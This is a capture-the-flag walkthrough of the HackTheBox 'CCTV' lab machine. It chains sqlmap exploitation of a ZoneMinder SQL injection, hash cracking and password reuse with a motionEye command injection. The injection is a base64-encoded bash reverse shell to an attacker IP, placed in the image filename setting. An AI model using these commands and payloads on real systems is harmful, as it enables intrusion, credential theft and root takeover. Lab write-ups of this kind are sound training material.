HTB: CCTV
Walkthrough of the HackTheBox CCTV machine.
Reconnaissance
Starting off the way we always do, a full TCP port scan with nmap to see what we’re working with.
nmap -sC -sV -p- 10.129.1.108

Two ports come back open:
| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 (Ubuntu) |
| 80 | HTTP | Apache 2.4.58 (Ubuntu) |
Port 80 immediately redirects to http://cctv.htb/, so that gets added to /etc/hosts.
Web Enumeration
Browsing http://cctv.htb/ lands us on a website for SecureVision, a CCTV and security solutions company. The page has two interactive elements: a Staff Login button and a Get a Quote button.

We will go into the staff login first because that seems the most interesting.

I see a username and password prompt. We attempt admin:admin (because why not) and it works, we are now in.

The first interesting thing we see is the version v1.37.63 for a web app called ZoneMinder, so now we go on the hunt for a vulnerability.
Foothold - SQL Injection (CVE-2024-51482)
Finding the CVE
Researching ZoneMinder v1.37.63 leads us to CVE-2024-51482, a boolean-based blind SQL injection vulnerability in the tid (tag ID) parameter of web/ajax/event.php. It affects versions up to 1.37.64, so our target is squarely in the vulnerable range.
There’s a public PoC on GitHub, so let’s try it:
# Attacker Machine
git clone https://github.com/BwithE/CVE-2024-51482.git
cd CVE-2024-51482/
python3 poc.py -i 10.129.1.108
# AND
python3 poc.py -i 10.129.1.108 --discovery
Neither seemed to work.

(Here I had to restart the machine due to technical issues so the IP will change from this point on)
Manual Verification
Rather than blindly trust a random GitHub script, let’s verify the vulnerability manually. We grab our authenticated session cookie (ZMSESSID) from the browser’s dev tools storage section.

The session cookie being 4lq6n1e4gu32aoda7mh491bgdo, we hit the vulnerable endpoint directly with curl:
curl -v -b "ZMSESSID=<cookie>" "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1"
The URL path (?view=request&request=event&action=removetag&tid=1) comes straight from the CVE details. The vulnerability specifically targets the tid parameter in ZoneMinder’s event tag removal endpoint. The response comes back clean:
< HTTP/1.1 200 OK
...
{"result":"Ok","response":0}
So we know the endpoint is reachable with our authentication. Good.
Exploiting with sqlmap
Now let’s let sqlmap do the heavy lifting. We pass the URL with our session cookie and crank up the level and risk:
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=<cookie>" --batch --level=3 --risk=3
sqlmap identified the tid parameter as time-based blind injectable:

Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ...tid=1 AND (SELECT 5515 FROM (SELECT(SLEEP(5)))gYDX)
Dumping Credentials
With the injection confirmed, we target the zm.Users table directly to extract credentials:
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=<cookie>" --batch -D zm -T Users -C Username,Password --dump
Fair warning: Time-based blind injection is painfully slow. Every single character requires multiple requests with timed delays. Sessions can expire mid-extraction, so keep an eye on that cookie.
sqlmap extracted three users:
| Username | Password (Bcrypt Hash) |
|---|---|
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |

Cracking the Hashes
These are bcrypt hashes (the $2y$10$ prefix gives it away). I throw them all into a file called hashes.txt and let hashcat go to work:

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat cracks two of the three:
| Username | Password |
|---|---|
| mark | opensesame |
| admin | admin |
Not exactly Fort Knox level security.
SSH Access
We check to see if mark reuses his password for SSH. And sure enough:
ssh mark@10.129.244.156
# Password: opensesame
We’re in. Unfortunately, the user flag doesn’t seem to be in /home/mark/. It most likely lives in /home/sa_mark/, which we don’t have permissions to access.

So we need to find a way to pivot.
Lateral Movement + Privilege Escalation
Internal Enumeration
Checking listening services reveals a bunch of internal ports that aren’t exposed externally:
ss -tlnp

Curling these ports to fingerprint the services reveals two interesting ones:
| Port | Service |
|---|---|
| 8765 | motionEye 0.43.1b4 (CCTV web UI) |
| 8888 | MediaMTX media server |

Accessing motionEye
Port 8765 runs motionEye 0.43.1b4, an open-source CCTV management web UI. It’s only listening on localhost, so to access it from our attack box we set up an SSH tunnel:
ssh -L 8765:127.0.0.1:8765 mark@10.129.244.156
Now we can open http://127.0.0.1:8765 in our browser and we see a login panel.

Extracting motionEye Credentials
motionEye stores its configuration and database in /etc/motioneye/. Checking permissions reveals several readable files:
ls -la /etc/motioneye/

We can extract credentials from the config file since they’re stored in plaintext:
strings /etc/motioneye/motion.conf | grep -i pass

We see that admin has a password of 989c5a8ee87a0e9521ec81a79187d162109282f0, which we use to log into the web UI as admin.
Command Injection via image_file_name (CVE-2025-60787)
The settings panel confirms it’s running motionEye Version 0.43.1b4, and some quick research reveals a public vulnerability: CVE-2025-60787, an OS command injection through the image_file_name configuration parameter.

The vulnerability works because motionEye passes the image filename through shell evaluation when saving snapshots. If you inject a command substitution like $(...) into the filename, the shell executes it. The catch is that the web UI has frontend JavaScript validation (configUiValid) that blocks special characters. But frontend validation is not security.
Step 1: Open the browser’s Developer Console (F12) and kill the validation:
configUiValid = function() { return true; };
![]()
This forces the UI validation function to always return true, allowing any value to be accepted by the forms.
Step 2: Navigate to Settings > Still Images > Image File Name and replace the default value with our payload:
$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44My85MDAxIDA+JjE= | base64 -d | bash).%Y-%m-%d-%H-%M-%S

The base64 decodes to:
bash -i >& /dev/tcp/10.10.14.83/9001 0>&1
A standard reverse shell. We use base64 encoding to dodge any remaining character filtering the web app might do on the backend.
Step 3: Start a listener on our attack box:
nc -lvnp 9001
Step 4: Save the configuration and click the snapshot button on the camera feed to trigger the payload.
The moment motionEye tries to save the image with our malicious filename, the shell evaluates the $(...) substitution and fires the reverse shell.

And just like that, the listener catches the connection and we’re in as root. We technically skipped the lateral movement to sa_mark entirely and went straight to privilege escalation. MotionEye runs as root, so the command injection gives us the highest privilege on the box. Both flags are ours.

Summary
| User Flag | Root Flag |
|---|---|
66d5b7b8146b8eb6dcba6f859c119dd5 | 7c1a4b3dc6c3f660298560954122a881 |
The full attack chain for CCTV:
- Recon: Nmap reveals SSH on port 22 and Apache on port 80
- Web Enumeration: Staff Login leads to a ZoneMinder dashboard, default creds
admin:adminget us in - CVE-2024-51482: SQL injection on the
tidparameter, exploited with sqlmap to dump thezm.Userstable - Hash Cracking: Hashcat cracks
mark:opensesamefrom the bcrypt hashes - SSH Access: Password reuse gets us a shell as
mark - Internal Enumeration: SSH tunnel to access motionEye on port 8765, credentials extracted from readable config files
- CVE-2025-60787: Command injection via the
image_file_nameparameter in motionEye, bypassing frontend validation through the browser console - Root Shell: Reverse shell fires as root, both flags captured in one shot